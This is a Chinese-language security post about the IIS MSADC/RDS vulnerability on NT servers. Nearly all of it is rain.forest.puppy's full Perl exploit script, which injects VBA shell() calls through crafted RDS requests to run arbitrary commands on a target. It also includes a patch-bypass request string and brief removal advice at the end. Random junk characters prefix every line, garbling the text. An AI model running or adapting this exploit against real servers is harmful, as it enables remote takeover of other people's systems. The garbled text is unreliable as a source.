IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
3I%F,-r "? t@Y 涉及程序：
<oP"kh<D4 Microsoft NT server
"2a&G3}t" AKkr
)VgY 描述：
| ZBH Xv 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
PSh luhY _8eN^oc% 详细：
ZclZD {%8J 如果你没有时间读详细内容的话，就删除:
) /_T`cN c:\Program Files\Common Files\System\Msadc\msadcs.dll
XEvDt DR 有关的安全问题就没有了。
U9:w ^t[Pp vh" > Z4 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
Z?_ t3 Lkl+f~m 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
q]r ?s%x 关于利用ODBC远程漏洞的描述，请参看:
|E =8 TU(w>v http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm LA%t'n h i<uWLhgh1$ 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
SB}0u=5 http://www.microsoft.com/security/bulletins/MS99-025faq.asp q{*4BL' +M %zOX/ 这里不再论述。
G" &yE.E5 k6mC _ 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
Wo[*P\8 ^KO=8m( )J /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
Jkq? wpYp 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
Q@ "mL
:SD^?.W\iT 7B|
#*IZe #将下面这段保存为txt文件，然后: "perl -x 文件名"
vE=)qn= a {Yz Rf S #!perl
y %4G[Dz #
1p |}=R # MSADC/RDS 'usage' (aka exploit) script
vbT,!
cEm #
s1| +LT ,D # by rain.forest.puppy
r"uOf ;m #
Z+ ?V10$ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
cm!|A)~ # beta test and find errors!
V( A p|I:G yw3E$~ k use Socket; use Getopt::Std;
}jWZqI qj getopts("e:vd:h:XR", \%args);
@+ (TM5Ub Ebk_(Py\ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
5l
ioL) FsdxLMwk1 if (!defined $args{h} && !defined $args{R}) {
*'&mcEpg print qq~
u(92y]3, Usage: msadc.pl -h <host> { -d <delay> -X -v }
`+>'18F -h <host> = host you want to scan (ip or domain)
Pm* N!:u -d <seconds> = delay between calls, default 1 second
j4hiMI ; -X = dump Index Server path table, if available
1s@% q
< -v = verbose
]J
aV +b'O -e = external dictionary file for step 5
5\6S5JyIL pf'-(W+ Or a -R will resume a command session
]l.qp5eQ t:?8I 9d ~; exit;}
Mc #w:UH[ .tny"a& $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
4LfD {-_uW if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
Nrr nG]#p1 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
paG^W&`; if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
lm
1Mz $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
o;D [ F if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
/v^1/i Aa#WhF if (!defined $args{R}){ $ret = &has_msadc;
; Fi(zl die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
^Cm9[ 1p
2kS]:4)T print "Please type the NT commandline you want to run (cmd /c assumed):\n"
5 u=(zg . "cmd /c ";
:UrS@W^B $in=<STDIN>; chomp $in;
lNw8eT~2 $command="cmd /c " . $in ;
D:y j#&I / y.+N`_ if (defined $args{R}) {&load; exit;}
OE4hG xG SK @ %r print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
Cb5Rr +K= &try_btcustmr;
C ~&~Ano, wge R%#DW print "\nStep 2: Trying to make our own DSN...";
L9G xqw &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
OE=]/([ snW=9b)m print "\nStep 3: Trying known DSNs...";
tAM t7p- &known_dsn;
~H)s>6>#v ygA~d9" print "\nStep 4: Trying known .mdbs...";
WHM|kt &known_mdb;
uN)o |7 6 zGM[2 if (defined $args{e}){
3~mi print "\nStep 5: Trying dictionary of DSN names...";
9Un3La8PX &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
86BY032H JQt Bt2 print "Sorry Charley...maybe next time?\n";
tf5h/: exit;
s$,gM,|cK #J,?oe=<4 ##############################################################################
N5SePA\ ,? 5/ee&sJR sub sendraw { # ripped and modded from whisker
yX' f"* sleep($delay); # it's a DoS on the server! At least on mine...
uV@#;c4 my ($pstr)=@_;
`~hB-Z5dI socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
/7)l 22< die("Socket problems\n");
L/U^1=Wi*O if(connect(S,pack "SnA4x8",2,80,$target)){
i#lnSJ08 select(S); $|=1;
dV( "g], print $pstr; my @in=<S>;
$z>L $,c> select(STDOUT); close(S);
l|z0aF;z return @in;
1zDat@<H } else { die("Can't connect...\n"); }}
`=zlS"dQ
v%=@_`Ht ##############################################################################
0^L>J "o 007(k"=oV sub make_header { # make the HTTP request
5a PPq~% my $msadc=<<EOT
_=wu>h&7 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
B`)gXqBt User-Agent: ACTIVEDATA
I)B+h8l72< Host: $ip
K>tubLYh Content-Length: $clen
"\x<Zg; Connection: Keep-Alive
a%"27
n(M !\DlX | ADCClientVersion:01.06
W@vt6v Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
#c?xJ&bh l.
9
i ` --!ADM!ROX!YOUR!WORLD!
*K<|E15 , Content-Type: application/x-varg
Qrnc;H9) Content-Length: $reqlen
m=hlim;P, v|WT m# EOT
*XlbD ; $msadc=~s/\n/\r\n/g;
gtV^6 (Y return $msadc;}
?51Y&gOEZ O Vo3. ##############################################################################
_>G. V?.')?'V sub make_req { # make the RDS request
=41g9UQ my ($switch, $p1, $p2)=@_;
UcHe"mn
my $req=""; my $t1, $t2, $query, $dsn;
]r^/:M #}8l9[Q|M if ($switch==1){ # this is the btcustmr.mdb query
c,K)* HB $query="Select * from Customers where City=" . make_shell();
PLkwtDi+& $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
[%);N\o2Y $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
P0B`H7D v/fo`]zP elsif ($switch==2){ # this is general make table query
T Q{rg2_T $query="create table AZZ (B int, C varchar(10))";
Vw^2TRU $dsn="$p1";}
T ke3X\| !>,\KxnM elsif ($switch==3){ # this is general exploit table query
/f5*KRM $query="select * from AZZ where C=" . make_shell();
Qcy
/)4Hfg $dsn="$p1";}
LkUYh3 "}ms | elsif ($switch==4){ # attempt to hork file info from index server
Q1A_hW2 x $query="select path from scope()";
Z4^O`yS9+ $dsn="Provider=MSIDXS;";}
E=H>|FgS uX!5G:x] elsif ($switch==5){ # bad query
*t)Y@=k3> $query="select";
J@Qt (rRxi $dsn="$p1";}
SWX[|sjdB ?=bqya"Y $t1= make_unicode($query);
va>u1S<lO $t2= make_unicode($dsn);
o*[n[\cR $req = "\x02\x00\x03\x00";
kK0.j)( $req.= "\x08\x00" . pack ("S1", length($t1));
Q|DVB $req.= "\x00\x00" . $t1 ;
Ap :mc: $req.= "\x08\x00" . pack ("S1", length($t2));
wb#ZRmx} $req.= "\x00\x00" . $t2 ;
e2~$=f- $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
bvxol\7 ; return $req;}
@%oHt*u X6hp} ##############################################################################
Skb d'j _+OnH!G0 sub make_shell { # this makes the shell() statement
qM$4c7'4P6 return "'|shell(\"$command\")|'";}
,esryFRG 7CK3t/3D ##############################################################################
B$ Z%_j& isG8S(}IW& sub make_unicode { # quick little function to convert to unicode
Q1 b<=, my ($in)=@_; my $out;
.+@;gVZx1 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
1 I=>0 c return $out;}
^5MPK@)c,/ !a.|URa7 ##############################################################################
yGxAur=dE (R9{wGV [ sub rdo_success { # checks for RDO return success (this is kludge)
kK,Ne%}a2K my (@in) = @_; my $base=content_start(@in);
V!{}%;f if($in[$base]=~/multipart\/mixed/){
fj7\MTy return 1 if( $in[$base+10]=~/^\x09\x00/ );}
K+s@.D9J return 0;}
SU,#:s( ~$WBc qo ##############################################################################
c\J?J>xz ! Qqi% sub make_dsn { # this makes a DSN for us
!Lu noC>B my @drives=("c","d","e","f");
+E7Os|m print "\nMaking DSN: ";
61[ 8I},V foreach $drive (@drives) {
+.EP_2 f9 print "$drive: ";
dbE]&w`?d my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
K1gZ>FEY|N "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
M2$.Y om[ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
P[G.LO $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
As y&X return 0 if $2 eq "404"; # not found/doesn't exist
"CX@ a" if($2 eq "200") {
|= o)|z2 foreach $line (@results) {
L&I8lG return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
\[> Ob } return 0;}
Un~8N $ #*";b)QY ##############################################################################
(2SmB`g \~r`2p-K sub verify_exists {
Mur)' my ($page)=@_;
o4zX
41W my @results=sendraw("GET $page HTTP/1.0\n\n");
9tMaOm return $results[0];}
^%qe&P e2 :pp@x*uNP ##############################################################################
~ \{a<-R ki8;:m4 sub try_btcustmr {
WLy%| {/ my @drives=("c","d","e","f");
R [[
#r5q my @dirs=("winnt","winnt35","winnt351","win","windows");
]RvFn~E!s $$5E+UDOs foreach $dir (@dirs) {
MyJ\/` 8 print "$dir -> "; # fun status so you can see progress
Z]QpH< Z foreach $drive (@drives) {
'&;s32']} print "$drive: "; # ditto
^?~WIS $reqlen=length( make_req(1,$drive,$dir) ) - 28;
xnR;#Y c $reqlenlen=length( "$reqlen" );
# hQ#_7 $clen= 206 + $reqlenlen + $reqlen;
NKSK+ll2 pkKcTY1Fx my @results=sendraw(make_header() . make_req(1,$drive,$dir));
gfW_S & &q if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
U Gb<&) else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
DO^ J=e 1^HmM" DD ##############################################################################
!bq3c(d 7~ I*u6zY sub odbc_error {
t/k MV6 my (@in)=@_; my $base;
w<P$)~6 my $base = content_start(@in);
0 p31C 7! if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
e! B>M{ $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
>x3 $Ld $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Od,P,t9 $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
*B 3 4 return $in[$base+4].$in[$base+5].$in[$base+6];}
- _KO}_ print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
blk4 @pg print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
+W7#G `> $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
JQ~[$OGH SJJ[y"GvD ##############################################################################
"C/X#y
7 :S4 Ur sub verbose {
hHsN(v my ($in)=@_;
X1C
&; 5 return if !$verbose;
0XWhSrHM print STDOUT "\n$in\n";}
h 3`\L4 b =>LQW;Sj z ##############################################################################
j(>~:9I` |b+ZKRW sub save {
!!\x]$v my ($p1, $p2, $p3, $p4)=@_;
}|j \QjH open(OUT, ">rds.save") || print "Problem saving parameters...\n";
_-R&A@ print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
y[64O x close OUT;}
KB$S B25m 6]^~yby P
##############################################################################
QB"Tlw( 0|=,!sY sub load {
`mE>h4 my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
7/969h^s open(IN,"<rds.save") || die("Couldn't open rds.save\n");
us7t>EMmB @p=<IN>; close(IN);
IyPk3N $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
,s~d39{ $target= inet_aton($ip) || die("inet_aton problems");
itn< c2UyA print "Resuming to $ip ...";
)L0NX^jW; $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
q(9S4F if($p[1]==1) {
+td]g9Ie $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
%ZR<z$ $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
Q|7$SS6 $ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
?lPyapA] if (rdo_success(@results)){print "Success!\n";}
{u (( y D else { print "failed\n"; verbose(odbc_error(@results));}}
TCL XO 0 elsif ($p[1]==3){
Pea2ENe3 if(run_query("$p[3]")){
B4M rrW4= print "Success!\n";} else { print "failed\n"; }}
1va~.;/rG elsif ($p[1]==4){
lvd ` _+P$ if(run_query($drvst . "$p[3]")){
m 5_ print "Success!\n"; } else { print "failed\n"; }}
'5r\o8 RjN exit;}
^B!c L~S*I )#Le"&D ##############################################################################
%E k!3t Ef]<0Tm]: sub create_table {
%nV6#pr my ($in)=@_;
1$#1 $reqlen=length( make_req(2,$in,"") ) - 28;
AeR*79x $reqlenlen=length( "$reqlen" );
O\+b1+&b3Y $clen= 206 + $reqlenlen + $reqlen;
53<.Knw 5a my @results=sendraw(make_header() . make_req(2,$in,""));
xiy=D5N.= return 1 if rdo_success(@results);
&~KAZ}xu my $temp= odbc_error(@results); verbose($temp);
Z4s+8cTHn return 1 if $temp=~/Table 'AZZ' already exists/;
w\zNn4B})A return 0;}
*w
OU =1+ I
R|[&} z ##############################################################################
EGysA{o"X EpU}~vC9C sub known_dsn {
Ow50M ;E # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
WI6h
G my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
X8\UTHT& 0 "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
{ u %xc"0y "banner", "banners", "ads", "ADCDemo", "ADCTest");
%}}?Y`/W ) x+8%4]u` foreach $dSn (@dsns) {
5rH?FQE print ".";
^r@,(r6w next if (!is_access("DSN=$dSn"));
`Fx+HIng, if(create_table("DSN=$dSn")){
.2{*>Dzi print "$dSn successful\n";
+:kMYL3 if(run_query("DSN=$dSn")){
Y.b? .)u& print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
jY k5]2#A print "Something's borked. Use verbose next time\n";}}} print "\n";}
WYm <_1 VD~
%6AjyN ##############################################################################
"8iIOeY-\ P}=U
#AV4 sub is_access {
;Xl {m`E+ my ($in)=@_;
FI" KJk' $reqlen=length( make_req(5,$in,"") ) - 28;
*_sSM+S $reqlenlen=length( "$reqlen" );
dlRTxb^Y>u $clen= 206 + $reqlenlen + $reqlen;
.x'?&7#( my @results=sendraw(make_header() . make_req(5,$in,""));
h7kn
>q; my $temp= odbc_error(@results);
jRN>^Ur;g verbose($temp); return 1 if ($temp=~/Microsoft Access/);
f=IF_|@^S return 0;}
):] 5WHYg @+ 7CfvM ##############################################################################
~5>k_\ G8 D4O^5?F)| sub run_query {
] B?NDxU my ($in)=@_;
v |R#[vtFd $reqlen=length( make_req(3,$in,"") ) - 28;
8bdx$,$k $reqlenlen=length( "$reqlen" );
Gzc`5n{" $clen= 206 + $reqlenlen + $reqlen;
V <ii my @results=sendraw(make_header() . make_req(3,$in,""));
^6Qz aC3 return 1 if rdo_success(@results);
"BZL*hHq my $temp= odbc_error(@results); verbose($temp);
ENy$sS6[D return 0;}
j x#9
L0;XzZ S ##############################################################################
~5o2jTNy`p F<4>g+Ag sub known_mdb {
INEE
37% my @drives=("c","d","e","f","g");
pnTz.)'46 my @dirs=("winnt","winnt35","winnt351","win","windows");
f XSuJ<G my $dir, $drive, $mdb;
u&Yd+'); my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
&N*l ?7( c"diNbm[ # this is sparse, because I don't know of many
! NJGW my @sysmdbs=( "\\catroot\\icatalog.mdb",
TDX~?> P "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
+45.fo "\\system32\\certmdb.mdb",
/5X_gjOL, "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
#wZbG |% 0|6Y% a\U my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
PXF u "\\cfusion\\cfapps\\forums\\forums_.mdb",
Vy6~O|68= "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
^" iJ "\\cfusion\\cfapps\\security\\realm_.mdb",
q)3QmA~ "\\cfusion\\cfapps\\security\\data\\realm.mdb",
T>|Y_3YO_a "\\cfusion\\database\\cfexamples.mdb",
OH v4Yy]$B "\\cfusion\\database\\cfsnippets.mdb",
Md&K#)9,( "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
Dxe]LES\] "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
|$C fm} "\\cfusion\\brighttiger\\database\\cleam.mdb",
\olY)b[ "\\cfusion\\database\\smpolicy.mdb",
Z>[n~{-,p "\\cfusion\\database\cypress.mdb",
0|kH0c,T- "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
>*EJ6FPO "\\website\\cgi-win\\dbsample.mdb",
X!6$<8+1OV "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
deEc;IAo "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
b!qlucA eE ); #these are just
akG|ic-~ foreach $drive (@drives) {
n}C0gt- foreach $dir (@dirs){
i (`Q{l foreach $mdb (@sysmdbs) {
^O& y ;5 print ".";
MaLH2?je^n if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
'Hsd7Dpi} print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
n5y0$S/ D if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
y+
4#Iy print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
K j~!E
H" } else { print "Something's borked. Use verbose next time\n"; }}}}}
}l&y8,[: 6,!$S2(zT foreach $drive (@drives) {
!{CaW 4 foreach $mdb (@mdbs) {
)<$<9!L4x print ".";
<Ira~N if(create_table($drv . $drive . $dir . $mdb)){
Z&n#*rQ7[ print "\n" . $drive . $dir . $mdb . " successful\n";
|Y v,zEY) if(run_query($drv . $drive . $dir . $mdb)){
l=L( pS3 ~ print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
2Vs+8 / } else { print "Something's borked. Use verbose next time\n"; }}}}
o1k+dJUd }
.hjN*4RY
K 1w:JA6( ##############################################################################
L)
UCVm 2t?Vl%< sub hork_idx {
=7EkN% V:{ print "\nAttempting to dump Index Server tables...\n";
Rq`5ff3, print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
`Ue5;<K-/ $reqlen=length( make_req(4,"","") ) - 28;
]TN/n%\ $reqlenlen=length( "$reqlen" );
]MC5 uKn $clen= 206 + $reqlenlen + $reqlen;
[ #fz [U my @results=sendraw2(make_header() . make_req(4,"",""));
k\RS L if (rdo_success(@results)){
EHfB9%O7y my $max=@results; my $c; my %d;
R 5\|pC for($c=19; $c<$max; $c++){
F D5OO;$ $results[$c]=~s/\x00//g;
>3}N ; $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
/]of @
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
( C.a Q)|T $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
Z*IW*f&0>1 $d{"$1$2"}="";}
4ves|pLET foreach $c (keys %d){ print "$c\n"; }
Gz4LjMQ
& } else {print "Index server doesn't seem to be installed.\n"; }}
7eW6$$ju,N C}ASVywc,1 ##############################################################################
nW`] = ^V7)V)Z;0 sub dsn_dict {
|pBvy1e4) open(IN, "<$args{e}") || die("Can't open external dictionary\n");
cYBjsN(!A| while(<IN>){
6!8uZ>u%Vg $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
)@<HG$# next if (!is_access("DSN=$dSn"));
{Es1bO if(create_table("DSN=$dSn")){
>U(E
\`9D print "$dSn successful\n";
! %B-y 9\ if(run_query("DSN=$dSn")){
oi8M6l print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
ce*?crOV print "Something's borked. Use verbose next time\n";}}}
Kw2]J)TO print "\n"; close(IN);}
`6 BQ6)7 Wz #Zk NO ##############################################################################
g`~;"%u7cn etQS&YzC sub sendraw2 { # ripped and modded from whisker
bP,K a sleep($delay); # it's a DoS on the server! At least on mine...
>qUD_U3A my ($pstr)=@_;
1tTY )Evf socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
kh8 M= die("Socket problems\n");
ff=RKKnN if(connect(S,pack "SnA4x8",2,80,$target)){
m}]QP\ print "Connected. Getting data";
A|GsbRuy open(OUT,">raw.out"); my @in;
,c
0]r;u! select(S); $|=1; print $pstr;
5bd4]1 gj while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
VV sE]7P ] close(OUT); select(STDOUT); close(S); return @in;
7PwH&rI } else { die("Can't connect...\n"); }}
c[$i )\0 *_]fe&s=% ##############################################################################
$.31<@T7 ]:m4~0^#-( sub content_start { # this will take in the server headers
ap,zC)[ my (@in)=@_; my $c;
MZqHL4<| for ($c=1;$c<500;$c++) {
,XI=e= if($in[$c] =~/^\x0d\x0a/){
g4{0 if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
F~~9/ # else { return $c+1; }}}
F%4N/e'L return -1;} # it should never get here actually
#B
q|^:nj G&`5o*).bb ##############################################################################
C
=B a|Z ?j)#\s2 sub funky {
rv<qze;?| my (@in)=@_; my $error=odbc_error(@in);
Kzy9i/bL if($error=~/ADO could not find the specified provider/){
tK
`A_h C print "\nServer returned an ADO miscofiguration message\nAborting.\n";
R]RLy#j exit;}
SR`A]EC(V if($error=~/A Handler is required/){
6q7jI
)l print "\nServer has custom handler filters (they most likely are patched)\n";
s@Loax6@B exit;}
/iJsa&W} if($error=~/specified Handler has denied Access/){
2sVDv@2 print "\nServer has custom handler filters (they most likely are patched)\n";
?}S!8;d exit;}}
6Wo Ff qk>M~, ##############################################################################
t;:Yf $Rn9* OKr sub has_msadc {
vE)d0l" my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
t{ `-G*^ my $base=content_start(@results);
BqdGU-Q return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
9; rZ )QD return 0;}
Q5u3~Q'e O2fFh_\ ########################
*Wcq'S v[ R_6 5HTY ~&C 解决方案：
F=f9##Y?7M 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
)i\foSbB`V 2、移除web 目录: /msadc
